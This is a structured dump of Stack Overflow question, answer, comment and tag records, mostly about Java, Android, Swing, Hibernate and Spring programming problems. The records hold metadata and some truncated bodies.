type: Comment

http://stackoverflow.com/q/22195946
has body: I'm trying to save the gamestate of my App so that it can be reload after restarting the App. The Object I'm trying to save is quite complex and holds a lot of data. I've been looking for different solutions and tried a lot. The closest I've got is that the App is able to save and load the data during runtime. And when closing and restarting the App it sometimes succeeds loading the data as well, but just in really rare moments. Does anybody has an idea what the problem might be? The Object I'm trying to save looks like the following (the unimportant functions I left out): public class SCSpieldaten implements Serializable { private static final long serialVersionUID = 1L; //Aktuelles Spiel ///////////////////////////////////////////////////////////////////////////////////////// public static Random rand = new Random(); public static int EinTabletBedienung = 1; public static int KartePortLand = 0; public static int AktuelleRunde = 0; public static int AktiverSpieler = 0; public static int AktivesDorf = 0; public static int AktuellerBauplatz = 1; public static int AktuellStaerksterMacht[] = {KEINEANGABE,KEINEANGABE,KEINEANGABE}; public static int SelektiertePositionX = 0; public static int SelektiertePositionY = 0; public static int AktuellesFeld = 1; public static int AktuellesGebaeude = 1; public static int AktuellesGebiet = 0; public static int AktuelleAnzahlUnit[] = {0,0,0}; public static int AktuellerEinheitentyp[] = {KEINEANGABE,KEINEANGABE,KEINEANGABE}; public static int AktuellerBericht = 0; public static ArrayList&lt;Integer&gt; SpinnerBerichtNr = new ArrayList&lt;Integer&gt;(); public static ArrayList&lt;ArrayAdapter&lt;String&gt;&gt; ArrayAdapter = new ArrayList&lt;ArrayAdapter&lt;String&gt;&gt;(); public static ArrayList&lt;CBericht&gt; CB_AktuellerBericht = new ArrayList&lt;CBericht&gt;(); public static CKosten AktuelleKosten = new CKosten(0,0,0,0,0); public static CGebaeude TempGebaeude = new CGebaeude(); public static ArrayList&lt;CSpieler&gt; CS_Spiele…
has answer: http://stackoverflow.com/a/22196106
has title: Android - Problems saving and loading Objects after App has been closed
type: UnansweredQuestion
tagged with: android
has comment: http://stackoverflow.com/comment/33693522
tagged with: java
tagged with: save
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22196032
score: 0

http://stackoverflow.com/a/22222646
answers question: http://stackoverflow.com/q/22221407
has body: It is O(N). Calling Arrays.parallelSetAll(...) involves assignments to set a total of array.length array elements. Even if those assignments are spread across P processors, the total number of assignments is linearly proportional to the length of the array. Take N as the length of the array, and math is obvious. The thing to realize is that P ... the number of available processors ... is going to be a constant for any given execution of a program on a single computer. (Or if it is not a constant, there will be a constant upper bound.) And a computation whose sole purpose is to assign values to an array only makes sense when executed on a single computer.
type: Answer
upvote count: 5
score: 5
downvote count: 0

http://stackoverflow.com/a/22318290
has comment: http://stackoverflow.com/comment/33915279
has body: You may try like this: File file1 = new File("initial.txt"); File file2 = new File("final.txt"); char CharCounter = 0; BufferedReader in = (new BufferedReader(newFileReader(file1))); PrintWriter out = (new PrintWriter(new FileWriter(file2))); int ch; while ((ch = in.read()) != -1) { if (Character.isLowerCase(ch)) { ch=Character.toUpperCase(ch);// convert assign variable } out.write(ch); } in.close(); out.close();
upvote count: 3
answers question: http://stackoverflow.com/q/22318123
type: Answer
downvote count: 0
score: 3

http://stackoverflow.com/a/22291327
answers question: http://stackoverflow.com/q/22291016
downvote count: 0
type: Answer
score: 1
upvote count: 1
has body: You've made run synchronized, which means that only one thread can every access that function at a time (which means realistically only one task can ever be active at a time). I do not believe this is what you intended to do. I imagine what you intended to do was make what run calls during its execution synchronized, so that only one of the running tasks can call it at a time to ensure consistency. A lot of people get tripped up on exactly what synchronized does, because it doesn't do what a lot of people expect it to (although it does do what its name implies if you think about common use cases for it). See the Java synchronized tutorial for more.

http://stackoverflow.com/a/22294588
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33872250
has body: Maybe one look at the API would have helped: Connection.Response response = ... int size = response.bodyAsBytes().length; (http://jsoup.org/apidocs/org/jsoup/Connection.Response.html#bodyAsBytes())
answers question: http://stackoverflow.com/q/22294542
upvote count: 1
has comment: http://stackoverflow.com/comment/33872269
type: Answer
has comment: http://stackoverflow.com/comment/33872394

http://stackoverflow.com/a/22294849
score: 0
answers question: http://stackoverflow.com/q/22294787
type: Answer
has body: You can proceed as follows: HTML JavaScript document.getElementById('my-form').onsubmit = function () { alert(42); }; DEMO

http://stackoverflow.com/q/22238112
has answer: http://stackoverflow.com/a/22238231
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/33770957
answer count: 3
has answer: http://stackoverflow.com/a/22238462
upvote count: 1
tagged with: parameters
tagged with: object
linked to: http://stackoverflow.com/q/18446509
tagged with: java
has answer: http://stackoverflow.com/a/22238280
has body: I am trying to create a new object and initialize it with the parameters which are passed by the following command : java -jar JAR-FILE.jar store Information.dat ClientName "Address" City Country HomePhone OfficePhone CellPhone where ClientName is the name of the client , "Address" contains the client's address and etc. The client can have a HomePhone or a OfficePhone or a Cellphone or all of these and even more phone numbers. here is the class which I tried to initialize it with parameters : private static void SaveClient(String[] args) throws Exception { Client SaveClient = new Client(...); .... out.writeObject(SaveClient); out.close(); } here is the Client constructor : public class Client{ private String ClientName; private Address address; private List&lt;String&gt; PhoneNumbers; public Client() { this.PhoneNumbers = new ArrayList&lt;String&gt;(); } public Client(String ClientName, Address address) { this(); this.name = ClientName; this.address = address; } public void AddPhoneNumber(String number) { this.PhoneNumbers.add(number); } .... } but I don't know how to initialize it with the passing parameters. We can assume the information is valid, also I don't want to make any changes to the "Client" constructor just modifying the SaveClient
has comment: http://stackoverflow.com/comment/33770663
accepted answer: http://stackoverflow.com/a/22238462
has title: Creating an Object and initialize it with passing parameters in Java
possible better answer: http://stackoverflow.com/a/22238231

http://stackoverflow.com/q/22228670
tagged with: swing
has body: in the code below i want to change the panel depending on the event of buttons situated in Panel1 and Panel2 .The Panel1 only contains a button the same goes for Panel2 public class Window extends JFrame { public window(){ this.setTitle("CardLayout"); this.setSize(300, 120); this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); this.setLocationRelativeTo(null); Panel2 p2 = new Panel2(); Panel1 p1 = new Panel1(); this.getContentPane().add(p1); this.setVisible(true); p2.getButton2().addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent e) { // TODO Auto-generated method stub Panel1 p1 = new Panel1(); getContentPane().removeAll(); getContentPane().add(p1); getContentPane().validate(); getContentPane().repaint(); System.out.println("change to panel1"); } }); p1.getButton1().addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent e) { // TODO Auto-generated method stub Panel2 p2 = new Panel2(); getContentPane().removeAll(); getContentPane().add(p2); getContentPane().validate(); getContentPane().repaint(); System.out.println("change to panel2"); } }); } }
possible better answer: http://stackoverflow.com/a/22229799
has comment: http://stackoverflow.com/comment/33753694
type: AnsweredQuestion
has title: read actionlistener in JFrame from JPanel
tagged with: java
has comment: http://stackoverflow.com/comment/33752249
tagged with: jpanel
type: Question
answer count: 2
tagged with: actionlistener
accepted answer: http://stackoverflow.com/a/22230010
has comment: http://stackoverflow.com/comment/33752629
score: 0
has answer: http://stackoverflow.com/a/22229799
has answer: http://stackoverflow.com/a/22230010

http://stackoverflow.com/a/22317741
downvote count: 0
type: Answer
upvote count: 2
has body: It is because "The iterators returned by this class's iterator and listIterator methods are fail-fast: if the list is structurally modified at any time after the iterator is created, in any way except through the iterator's own remove or add methods, the iterator will throw a ConcurrentModificationException. Thus, in the face of concurrent modification, the iterator fails quickly and cleanly, rather than risking arbitrary, non-deterministic behavior at an undetermined time in the future." See http://docs.oracle.com/javase/7/docs/api/java/util/ArrayList.html for details.
answers question: http://stackoverflow.com/q/22317701
score: 2

http://stackoverflow.com/q/22171662
type: Question
has body: I need help in implementing a password authentication function in JAVA (1.6), where the data originated in .NET. Background: in the project, we are migrating data from the customer's old system to the new system. Part of the data is the hashed passwords and salts of the users. So I have a hashed password and a salt, both as Strings. According to the customer, the password hashes were created using "standard .NET SHA1 encryption". I have found code detailing what .NET does (including base64-ing etc) but no code in JAVA which will validate a password given the salt and the expected hash. Needless to say, my trials were not successful. Can you help? To elaborate: I need a function 'hashPasswordLikeNET' which will do this for me: String passwordHash = hashPasswordLikeNET( String cleartextPassword, String salt ); boolean isValid = passwordHash.equals( storedPasswordHash ); What is not necessary is generating a new hash/salt for a new password - if a user changes his password in the new system, it will be encoded using a different algorithm (and validated according to that algorithm subsequently). When I'm back at work tomorrow I'll add a sample password / salt / hash provided by the customer as well as a snippet of my code so far. Thanks! Neil ============ Additional detail ============== Our customer has given us the task of importing his current user base, including the passwords. These are stored as hash/salt combinations. So I need to be able to validate the password the user types in when logging in against the stored hash value, using the customer's 'algorithm' re-implemented in JAVA. This algorithm is, according to the customer, 'standard ASP.NET SHA1'. I have been given, as an example, the following: Password: 12345! Hash: UDRc2nvL4AGLL90xOzxg4PT3oqA= Salt: NJC5qJDJ8kh73jrPO+Z0zg== I.e. I need to do some magic to make password * salt = hash in JAVA. My code so far: import org.apache.commons.codec.binary.Base64; import javax.crypto.Mac; import javax.crypto.spec.Se…
tagged with: sha1
score: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33650251
tagged with: passwords
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33650189
has comment: http://stackoverflow.com/comment/33650171
answer count: 0
tagged with: asp.net
has title: Implementing .NET SHA1 password validation in JAVA
tagged with: hash

http://stackoverflow.com/comment/33669873
comment on: http://stackoverflow.com/q/22182248
score: 0
type: Comment
type: QuestionComment
has text: I had a programming assignment like this once.

http://stackoverflow.com/q/22195643
has answer: http://stackoverflow.com/a/22195765
answer count: 5
has comment: http://stackoverflow.com/comment/33692886
tagged with: void
score: 2
has answer: http://stackoverflow.com/a/22195961
upvote count: 2
has title: Trouble understanding output from a recursive function.
type: Question
tagged with: recursion
type: AnsweredQuestion
has body: I'm having trouble understanding what happens to this piece of code when it returns. After it outputs 10 9 8 7 6 5 4 3 2 1 0 why does it outputs 1 after 0 and not 0 again? public static void a(int b){ if(b&lt;0) return; System.out.println(b); a(b-1); a(b+1); }
has answer: http://stackoverflow.com/a/22195784
tagged with: java
has answer: http://stackoverflow.com/a/22195711
has answer: http://stackoverflow.com/a/22195716
accepted answer: http://stackoverflow.com/a/22195961
possible better answer: http://stackoverflow.com/a/22195716
downvote count: 0
favorite count: 0

http://stackoverflow.com/a/22185144
answers question: http://stackoverflow.com/q/22185102
has body: The java split method returns a String Array: line.split("....") so: line.split("....")[1] is the String at index 1 of the array
score: 1
has comment: http://stackoverflow.com/comment/33675246
has comment: http://stackoverflow.com/comment/33675326
upvote count: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22185102
has comment: http://stackoverflow.com/comment/33675439

http://stackoverflow.com/q/22249549
has title: Spring context configuration
tagged with: spring-mvc
tagged with: jsf
score: 1
tagged with: java
tagged with: hibernate
upvote count: 1
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22249864
downvote count: 0
has answer: http://stackoverflow.com/a/22249852
has body: I´m trying to configure spring + hibernate + jsf in my web application with a glassfish 4.0 server. I use Hibernate in the persistence layer, spring for the business layer and jsf for the web layer. I have configured the hibernate and jsf layers properly. But while I´m trying to configure the spring layer, it doesn´t work. For configuring the database, I have use MySQL Workbench, and I have connected the hibernate layer with the database properly, all the POJOS are properly created. But now Im trying to add the spring layer, and it gives me an error in my Application context. The error displayed shows as follows: And my Aplication file is like this: Error occurred during deployment: Exception while loading the app :java.lang.IllegalStateException: ContainerBase.addChild: start: org.apache.catalina.LifecycleException: org.springframework.beans.factory.xml.XmlBeanDefinitionStoreException: Line 13 in XML document from ServletContext resource [/WEB-INF/salon_bazter.xml] is invalid; nested exception is org.xml.sax.SAXParseException; lineNumber: 13; columnNumber: 90; cvc-complex-type.2.4.c: El comodín coincidente es estricto, pero no se ha encontrado ninguna declaración para el elemento 'jee:jndi-lookup'.. Please see server.log for more details. And the log shows this exception: ContainerBase.addChild: start: org.apache.catalina.LifecycleException:org.springframework.beans.factory.xml.XmlBeanDefinitionStoreException: Line 13 in XML document from ServletContext resource [/WEB-INF/salon_bazter.xml] is invalid; nested exception is org.xml.sax.SAXParseException; lineNumber: 13; columnNumber: 90; cvc-complex-type.2.4.c: El comodín coincidente es estricto, pero no se ha encontrado ninguna declaración para el elemento 'jee:jndi-lookup'. at org.apache.catalina.core.StandardContext.start(StandardContext.java:5920) at com.sun.enterprise.web.WebModule.start(WebModule.java:691) at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:1041) at org.apache.catalina.…
has comment: http://stackoverflow.com/comment/33790597
has comment: http://stackoverflow.com/comment/33790850
favorite count: 0
type: UnansweredQuestion
tagged with: spring

http://stackoverflow.com/comment/33774979
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22240466
has text: @BillL This still doesn't show where you are declaring and initializing `bitmap` (the list).

http://stackoverflow.com/comment/33827486
type: AnswerComment
score: 0
type: Comment
has text: It is really helpful answer
comment on: http://stackoverflow.com/a/22269842

http://stackoverflow.com/a/22267863
has comment: http://stackoverflow.com/comment/33824225
type: Answer
answers question: http://stackoverflow.com/q/22267838
has body: selectedPath1.substring(selectedPath1.lastIndexOf('/') + 1) This would return the file name.
score: 0

http://stackoverflow.com/comment/33881758
type: QuestionComment
has text: Now new error is being displayed... Error :E:\ServletPrograms\CurrencyConverterBean\nbproject\build-impl.xml:307: The module has not been deployed. See the server log for details. Error line : <nbdeploy clientModuleUri="${client.module.uri}" clientUrlPart="${client.urlPart}" debugmode="false" forceRedeploy="${forceRedeploy}"/>
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22295986

http://stackoverflow.com/comment/33805321
has text: @T.J.Crowder what exactly do you want to know? It's Hotspot JVM running on 64-bit Linux. The cmd line args for the two JVMs are identical and pretty much standard, except one has -Xms14g -Xmx14g and the other has -Xms7g -Xmx7g.
comment on: http://stackoverflow.com/q/22249869
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/33683949
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22172513
has text: If you want point-to-point, MQTT isn't the right tool for the job. To choose which device you want to forward to, you could use a topic namespacing model. E.g. you could design topic names like "app/{clientId}/status"
score: 0

http://stackoverflow.com/comment/33708689
has text: This happens to work due to the special semantics of `ssh` which doesn't care that Java mangles your arguments. You should never use `Runtime.exec(String)`. Use `Runtime.exec(String[])` instead.
score: 2
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22204043

http://stackoverflow.com/comment/33788153
comment on: http://stackoverflow.com/a/22248092
type: AnswerComment
score: 0
type: Comment
has text: I placed properties file at that location as well, but same happening! And do you know where does Log4j search for properties file by default!

http://stackoverflow.com/q/22263940
upvote count: 1
type: AnsweredQuestion
score: 1
tagged with: java
accepted answer: http://stackoverflow.com/a/22264035
tagged with: eclipse
has title: Creating a windows .exe from a runnable jar (preferably on linux)
type: Question
tagged with: ant
answer count: 1
tagged with: jar
downvote count: 0
favorite count: 0
has body: I have an application packaged up as a xyz.jar, which can be run as java -Xmx2g -jar xyz.jar How can I convert this to a self-contained exe that can be downloaded by Windows users and launched with a single click? Preferably, I'd like the jre also bundled inside the exe, much like can be done from the mac: http://docs.oracle.com/javase/7/docs/technotes/guides/jweb/packagingAppsForMac.html Oh, and also I'd prefer if I can do this from an ant build file (or eclipse plugin) on a mac or linux platform, since I don't have easy access to Windows (though my users do). Is this possible? Thanks.
has answer: http://stackoverflow.com/a/22264035

http://stackoverflow.com/comment/33711784
has text: Since `char` is primitive, you just want `c == '.'`, not ".equals".
type: AnswerComment
comment on: http://stackoverflow.com/a/22205804
score: 0
type: Comment

http://stackoverflow.com/a/22301709
score: 1
answers question: http://stackoverflow.com/q/22295784
accepted answer of: http://stackoverflow.com/q/22295784
type: AcceptedAnswer
upvote count: 1
type: Answer
has body: Yes you can do that... Your test method would actually be called as a simple Java code and as there are no failures it would simple pass the test and would not print anything in your testExternalCall.java. Add a System.out.println("Finished..."); in your Tests.java last line. This would gets printed. Or change your code like below to some different value the test would fail and you would get the failure logs. String myTestXML = " 2376 23767XXXXXXXX ";
downvote count: 0

towers-of-hanoi
tag name: towers-of-hanoi
tags question: http://stackoverflow.com/q/22292201
type: Tag

http://stackoverflow.com/comment/33700627
has text: A maven artifact is just a jar file that is stored in a repository. What is your specific problem? What did you try already? What does not work?
type: QuestionComment
comment on: http://stackoverflow.com/q/22199377
type: Comment
score: 0

http://stackoverflow.com/q/22296704
downvote count: 0
score: 1
favorite count: 0
type: UnansweredQuestion
tagged with: android
answer count: 0
tagged with: java
upvote count: 1
type: Question
has title: How to get a two level list view to work within a swipe tab layout
tagged with: swipeview
tagged with: listview
has body: I'm trying to create an app where the user can select a item in a list and then click that item in the list which opens another page, i've got it to work on its own and i've managed to put it into a swipe tab layout but when the user clicks on an item it doesn't do anything as it did before in its own activity can anybody help? i've been told that i need to create an activity class that implements this onArticleSelected method and let MainActivity and SoftwareSearchActivity extend this activity class to avoid code-duplication. But i don't know what that means or how to implement it. i've literally been doing this for about a month so i'm not too familiar with some of the terms used. I think all of the code is in there some where as i had it working before i just don't know how to rearrange it to get it to work within in the swipe tab layout. ArticleFragment.java /* * Copyright (C) 2012 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.learn2crack.tab; import android.support.v4.app.Fragment; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; public class ArticleFragment extends Fragment { final static String ARG_POSITION = "position"; int mCurrentPosition = -1; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // If activity recreated (such as from screen rotate), restore // the pr…

http://stackoverflow.com/comment/33726560
type: QuestionComment
comment on: http://stackoverflow.com/q/22213595
has text: @Sotirios Sorry, I deleted my previous code involontary. So yes, a `synchronized` block is present, so I checked for the spec if some weird case could occur regarding multiple `println`, although logically no. Surely, the blending comes from the initial caller of the method, maybe not thread-safe itself, conflicting with the expected output.
score: 0
type: Comment

http://stackoverflow.com/a/22186999
has body: there should be some java implementations. for example tapestry plans to use (or is using already) one. but think if that's what you really want to do? those are front-end tools. they came from ruby/nodejs world. why do you have to port them to java? just install nodejs and ruby on your dev machine and your CI and you will get the speed of native/default implementation
has comment: http://stackoverflow.com/comment/33723410
score: 0
has comment: http://stackoverflow.com/comment/33723636
type: Answer
has comment: http://stackoverflow.com/comment/33724522
answers question: http://stackoverflow.com/q/22186542

newline
tags question: http://stackoverflow.com/q/22317438
tags question: http://stackoverflow.com/q/22223601
tags question: http://stackoverflow.com/q/22220933
tag name: newline
type: Tag
tags question: http://stackoverflow.com/q/22176722
tags question: http://stackoverflow.com/q/22200622

http://stackoverflow.com/comment/33651505
comment on: http://stackoverflow.com/a/22172250
type: AnswerComment
score: 0
type: Comment
has text: no in only one project i have created 2 xml files in layout folder

communication
tag name: communication
tags question: http://stackoverflow.com/q/22173279
type: Tag
tags question: http://stackoverflow.com/q/22324425

http://stackoverflow.com/q/22321663
upvote count: 4
has comment: http://stackoverflow.com/comment/33956227
downvote count: 0
favorite count: 0
has title: Oracle hibernate ORA-01461 CLOB
type: Question
tagged with: oracle-database
tagged with: ora-01461
score: 4
tagged with: clob
tagged with: java
tagged with: hibernate
answer count: 2
has answer: http://stackoverflow.com/a/22347801
has answer: http://stackoverflow.com/a/23473582
type: UnansweredQuestion
has body: //hi all. my problem is that i cannot write big date in clob field. curentli i can write string not greater than 4000 length. can you explain me please why i cannot write clob to clob field. im using: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 List item hibernate 4.2.6.Final List item ojdbc 11.1.0.7.0 My entety is: @Entity @Table(....) public class UiViewSettings implements java.io.Serializable { private Integer id; private String viewName; private String userName; private Clob data; .... @Column(name = "VIEW_DATA", nullable = false) public Clob getData() { return this.data; } .... } my code of updating entety : UiViewSettings viewSettings = new UiViewSettings(); Clob createClob; //creatind clob viewSettings.setData(createClob); session.update(viewSettings); i tried create Clob several ways: createClob = new SerialClob(xml.toCharArray()); and connection = DriverManager.getConnection(...); createClob = ((OracleConnection)connection).createClob(); createClob.setString(1, xml); both ways throws exception : Caused by: org.hibernate.exception.GenericJDBCException: could not execute statement at org.hibernate.exception.internal.StandardSQLExceptionConverter.convert(StandardSQLExceptionConverter.java:54) at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert(SqlExceptionHelper.java:125) at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert(SqlExceptionHelper.java:110) at org.hibernate.engine.jdbc.internal.ResultSetReturnImpl.executeUpdate(ResultSetReturnImpl.java:136) at org.hibernate.engine.jdbc.batch.internal.NonBatchingBatch.addToBatch(NonBatchingBatch.java:58) at org.hibernate.persister.entity.AbstractEntityPersister.insert(AbstractEntityPersister.java:3067) at org.hibernate.persister.entity.AbstractEntityPersister.insert(AbstractEntityPersister.java:3509) at org.hibernate.action.internal.EntityInsertAction.execute(EntityInsertAction.java:88) at org.hibernate.engine.spi.ActionQueue.execute(ActionQueue.java:377) at org.hibernate.engine.spi.Acti…

jetty
tags question: http://stackoverflow.com/q/22326795
tag name: jetty
tags question: http://stackoverflow.com/q/22208923
tags question: http://stackoverflow.com/q/22272991
tags question: http://stackoverflow.com/q/22203441
tags question: http://stackoverflow.com/q/22287140
tags question: http://stackoverflow.com/q/22201536
tags question: http://stackoverflow.com/q/22227721
tags question: http://stackoverflow.com/q/22188285
tags question: http://stackoverflow.com/q/22327094
tags question: http://stackoverflow.com/q/22321378
tags question: http://stackoverflow.com/q/22188585
tags question: http://stackoverflow.com/q/22247845
tags question: http://stackoverflow.com/q/22222808
type: Tag
tags question: http://stackoverflow.com/q/22196215

http://stackoverflow.com/q/22235175
has comment: http://stackoverflow.com/comment/33764995
has comment: http://stackoverflow.com/comment/33765169
score: 0
tagged with: io
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33764930
has comment: http://stackoverflow.com/comment/33764967
has body: I'm getting a large response stream back from an HTTP request. It's JSON, so I need to convert it to a string for processing. I'm running out of heap space on the call to toString. Code is as follows: URLConnection conn = new URL(url + "?query=" + URLEncoder.encode(sparql, "UTF-8") + "&amp;output=JSON").openConnection(); conn.setRequestProperty("Accept-Charset", "UTF-8"); InputStream respStream = conn.getInputStream(); response = IOUtils.toString(respStream, "UTF-8"); respStream.close(); I've tried setting the heap size as large as I can. I can't get the data in smaller chunks easily (but if there's not a better choice, I'll implement that). Any suggestions?
tagged with: java
tagged with: inputstream
has comment: http://stackoverflow.com/comment/33765078
has comment: http://stackoverflow.com/comment/33764839
type: Question
answer count: 1
has answer: http://stackoverflow.com/a/23546136
has title: Alternative to IOUtils.toString() for large streams?

http://stackoverflow.com/comment/33862159
score: 0
type: AnswerComment
type: Comment
has text: So he shouldn't attempt to learn from others (except you).
comment on: http://stackoverflow.com/a/22288251

http://stackoverflow.com/q/22251563
answer count: 1
has answer: http://stackoverflow.com/a/22252000
type: UnansweredQuestion
tagged with: jmenuitem
has comment: http://stackoverflow.com/comment/33794329
has title: Which method to choose for adding accelerator to JMenuitem?
has body: I searched the web and found two ways to add an accelerator to a JMenuItem. Will the choice which one to use have any possible effect on the program? menuItem.setAccelerator(KeyStroke.getKeyStroke("control X");); Or menuItem.setAccelerator(KeyStroke.getKeyStroke('X', KeyEvent.CTRL_DOWN_MASK));
type: Question
tagged with: java
score: 0
tagged with: swing

http://stackoverflow.com/a/47097332
score: 17
has body: You can exclude this based on the external system properties. -Dtest.profile=integration and in build.gradle test { if (System.properties['test.profile'] != 'integration') { exclude '**/*integrationTests*' } }
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22209181
upvote count: 17

http://stackoverflow.com/comment/33907434
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22313676
type: AnswerComment
has text: I assume you copied this from the [source of `Collections`](http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/6-b14/java/util/Collections.java#Collections.max%28java.util.Collection%29). It is there for [backwards compatibility](http://stackoverflow.com/a/19488411/2071828). There is no reason to have it in your example.

http://stackoverflow.com/q/22308564
has comment: http://stackoverflow.com/comment/33897969
has body: I am making android calculator app for class assignment. When i press plusminus (+/-) key first and then input any numeric key; my application stops working. But when i input numeric key and then press plusminus button it works fine. else if (v.getId() == R.id.plusminus){ Double newNumber = Double.parseDouble(textdisplay.getText().toString()); total = newNumber * (-1); textdisplay.setText(total.toString()); }
answer count: 3
upvote count: 1
has answer: http://stackoverflow.com/a/22308651
has answer: http://stackoverflow.com/a/22308629
has comment: http://stackoverflow.com/comment/33897820
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: android
has title: Android application stopped working
has comment: http://stackoverflow.com/comment/33897752
has answer: http://stackoverflow.com/a/22308653
score: 1
tagged with: java
type: Question

http://stackoverflow.com/comment/33688386
has text: Check if the file path is correct.
comment on: http://stackoverflow.com/q/22184994
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/a/47280137
score: 2
has body: Video can be represented as byte array. If you want to load array faster you can divide it in parts and load every part in separate thread. The best way to do that is using ThreadPoolExecutor to run the task and FutureTask to retrieve results. In case you need to dawnload video from the internet, your server should support api calls that can give you "part" of video. Here is the good sample of how to use Executors and Futures: https://www.journaldev.com/1650/java-futuretask-example-program
downvote count: 0
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/22183000

http://stackoverflow.com/comment/33846648
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22279993
has text: But there is no thread try to modify the map, it just change the reference, so I still confused.
score: 0

http://stackoverflow.com/comment/33711650
score: 0
has text: Then you can check components also.
type: Comment
comment on: http://stackoverflow.com/a/22205561
type: AnswerComment

http://stackoverflow.com/q/22199904
score: 0
tagged with: java
has title: Execute terminal command at a specific location in Java application
type: Question
has answer: http://stackoverflow.com/a/22200014
has body: Currently I have a java Netbean project (os X environment). If I use this code to execute the ls command line: Runtime rt = Runtime.getRuntime(); Process pr = rt.exec("./test.py"); It will execute the command in the root directory of the netbean project(/project). A problem is that I put that test.py in another sub folder (/project/data). So if I use like this: Runtime rt = Runtime.getRuntime(); Process pr = rt.exec("./data/test.py"); I have a problem with dependencies I use in test.py, which is also located in data sub folder. I try something likes: Runtime rt = Runtime.getRuntime(); Process pr = rt.exec("cd data"); pr = rt.exec("./test.py"); but it did not work... So my question is that is there any way to execute command line in that sub folder instead of copying everything to the root folder? (quite messy). Thank you very much.
answer count: 1
type: UnansweredQuestion

http://stackoverflow.com/comment/33797718
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22253326
score: 0
has text: I think that this tutorial would be helpful http://examples.javacodegeeks.com/android/core/ui/drag-and-drop/android-drag-and-drop-example/

http://stackoverflow.com/comment/33668631
score: 0
comment on: http://stackoverflow.com/q/22180534
type: Comment
type: QuestionComment
has text: I need to do it in this way, using a simple method to iterate through pixels and add RGB to each. It adds 1 R with each increase in x, and 1 G with each increase in y

http://stackoverflow.com/q/22217011
tagged with: jdo
type: Question
accepted answer: http://stackoverflow.com/a/22218865
tagged with: google-cloud-datastore
has title: Using Embedd class or storing foreign keys for a Google Datastore?
score: 0
answer count: 1
has body: This is a best practice question regarding the Google Datastore. I'm trying to build object relationships and I'm seeing two options Directly embed a child class with @Persistent in the parent class Using the Google Key class and store my own foreign keys as strings in related classes Third option is not available, JDO join App Engine does not support join queries: you cannot query a parent entity using an attribute of a child entity. (You can query a property of an embedded class, because embedded classes store properties on the parent entity. See Defining Data Classes: Embedded Classes.) My worry about using option 1 is that a simple search query I would return to much unneeded data. Example being a Product Class and ProductDetail Class. When a customer searches my products they are just searching based on Category, Name and sorted by price. All of the simple info is in the Product class. In the ProductDetail class I hold large description strings, links to images, lists of key attributes. So in the Product Class I could embed the ProductDetail class or just create a foreign key property that holds the key value of the ProductDetail class. So should I use option 2 then? I read somewhere don't treat the Google datastore like a relational DB. But in using option 2 that is just what I'm doing.
tagged with: google-app-engine
has answer: http://stackoverflow.com/a/22218865
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/a/22205640
type: Answer
has body: I do not have much experience with servlets, but basically, you can specify what action should be performed by ajax like this: $.ajax({ url: "../dataExchange", type: "post", data: {date: Date, action: "doTheSelect"}, dataType: 'json', success: function(data){ alert("success"); $("#result").html('submitted successfully'); // do something with variable - data(returned json object) }, error:function(){ alert("failure"); $("#result").html('there is error while submit'); } }); And in your servlet specify an if condition like this(pseudocode): if(posted_data.action == "doTheSelect") { // here goes the SQL query return "json encoded result of query"; } else { // do some other stuff like specifying another condition based on another value of action variable } So that only the mentioned query is performed. And finally you can handle the received data in the ajax.success function.
answers question: http://stackoverflow.com/q/22204676
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22204676

http://stackoverflow.com/q/22258464
answer count: 2
has comment: http://stackoverflow.com/comment/101563013
upvote count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/22258751
has comment: http://stackoverflow.com/comment/33819007
has comment: http://stackoverflow.com/comment/33808138
tagged with: awt
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33807284
has comment: http://stackoverflow.com/comment/33807169
tagged with: netbeans
has answer: http://stackoverflow.com/a/22258785
has comment: http://stackoverflow.com/comment/33807257
has comment: http://stackoverflow.com/comment/33807223
type: Question
has comment: http://stackoverflow.com/comment/33807461
has title: Java Code Doesn't Execute in Order
